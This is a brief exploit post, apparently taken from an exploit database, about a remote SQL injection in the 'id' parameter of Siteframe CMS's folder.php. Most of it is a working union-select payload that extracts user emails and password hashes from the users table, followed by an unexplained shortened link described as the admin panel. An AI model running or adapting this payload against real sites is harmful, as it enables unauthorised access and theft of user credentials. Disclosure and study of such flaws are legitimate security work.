Siteframe (folder.php id) Remote SQL Injection Vulnerability

##SQL-Injection in Siteframe CMS (all versions)##


#Vulnerable script: folder.php
#Vulnerable var: id#


########################################
#CMS Homepage:.siteframe.org
########################################

#Exploit PoC: #site/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11# #+from+users--#


#Admin panel: https://tik.lat/hUdrl (but previously you gotta log in as administrator on website)#


Kaynak : milworm.com